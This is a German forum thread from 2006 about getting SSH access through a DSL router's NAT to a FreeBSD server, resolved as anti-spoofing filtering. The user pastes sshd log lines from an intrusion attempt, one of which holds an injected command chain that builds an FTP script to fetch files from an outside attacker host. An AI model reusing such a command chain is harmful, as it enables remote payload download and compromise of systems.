Ich steh mal wieder mit beiden Beinen auf dem Schlauch. Situation: Server mit FreeBSD 6.1, aktivem SSHD, derzeit OHNE Firewall, im Netz mit ein paar anderen Rechnern. Dann ein Siemens-DSL-Router zum Internet mit aktiver Firewall (alle eingehenden Ports bis auf 22 sind zu) und NAT (Port 22 -> Server). Von einem Rechner im lokalen Netz kann ich problemlos per SSH auf den Server zugreifen, nur über die IP im Internet nicht. Sprich, kein Zugriff übers Netz: "Connection refused". Was hab ich übersehen? -- Mit 40 Fieber sitzt man nicht mehr vor dem PC. Man liegt im Bett. Mit dem Notebook.
Tja, sollte ja eigentlich klappen. Kann eigentlich nur noch sein, dass die interne Ip_adresse des Routers nicht freigeschalten ist (auf dem FreeBSD). Schau doch mal in das Log-File beim FreeBSD (wo schreibt sshd nochmal hin?). Da kannst du wenigstens sehen wer deine connection refused.Dieser Post wurde am 19.05.2006 um 16:22 Uhr von Pler editiert.
Stimmt, da bin ich noch nicht drauf gekommen. Sollte mal wieder durchschlafen
cat /var/log/auth.log meint: In den letzten paar Stunden (seit ich rumprobiere) hunderte Einwahlversuche über SSH mit Protokoll-Versions-IDs, die sehr nach Exploits klingen Da versucht einer, reinzukommen:
Code:
May 19 16:07:06 server sshd[712]: Bad protocol version identification '\005' from 84.168.81.145 May 19 16:07:08 server sshd[714]: Bad protocol version identification 'echo open xman.acid-burn.info 21>qaz&echo user ftplogx>>qaz&echo ftpP4ssX>>qaz&echo binary>>qaz&echo' from 84.168.81.145
Und so weiter. Daran liegts also schon mal nicht MEINE abgelehnten Einwahlversuche kommen aber nicht durch, davon steht nix im Log... hmmmmmmm... *wunder* -- Mit 40 Fieber sitzt man nicht mehr vor dem PC. Man liegt im Bett. Mit dem Notebook.
MEINE abgelehnten Einwahlversuche kommen aber nicht durch, davon steht nix im Log... hmmmmmmm... *wunder*
Also kommen die gar nicht am Server an. Muss es also am Router liegen. Ich hab ein Netgear und da kann man ja eigentlich nicht viel falsch einstellen. Hast du mal versucht andere Ports durchzureichen? 80?
Habs geschafft, jetzt gehts. Hab den Verkehr testweise durch den SSHD auf einem Uni-Server getunnelt (erlaubt == egal) und mich von dort aus angemeldet: Geht! Jetzt nur noch eine DynDNS, und der Server ist fertig... bin ja schön blöd, aus dem lokalen Netz übers Internet ins lokale Netz zu wollen *grins* -- Mit 40 Fieber sitzt man nicht mehr vor dem PC. Man liegt im Bett. Mit dem Notebook.
Macht ja kein Unterschied, der DynDNS Name ersetzt ja die IP. Kommt also aufs gleiche raus -- perl -Mstrict -Mwarnings -e 'package blub; sub new { bless {} } sub bar {my $self=shift; $self->{bla}="66756e2d736f66742e6465"; return $self->{bla};} my $foo=blub->new();print "Hallo ";print pack("H*",$foo->bar()); print "\n"'
Korrekt. Hab jetzt mal ein paar mögliche Szenarien durchprobiert: Die Firewall im Router filtert Pakete aus, die aus dem Internet kommen, aber mit einer IP des internen Netzes gesendet wurden Macht ja auch Sinn - Anti-Spoofing... jedenfalls funzt der Server jetzt Danke für den Tip! -- Mit 40 Fieber sitzt man nicht mehr vor dem PC. Man liegt im Bett. Mit dem Notebook.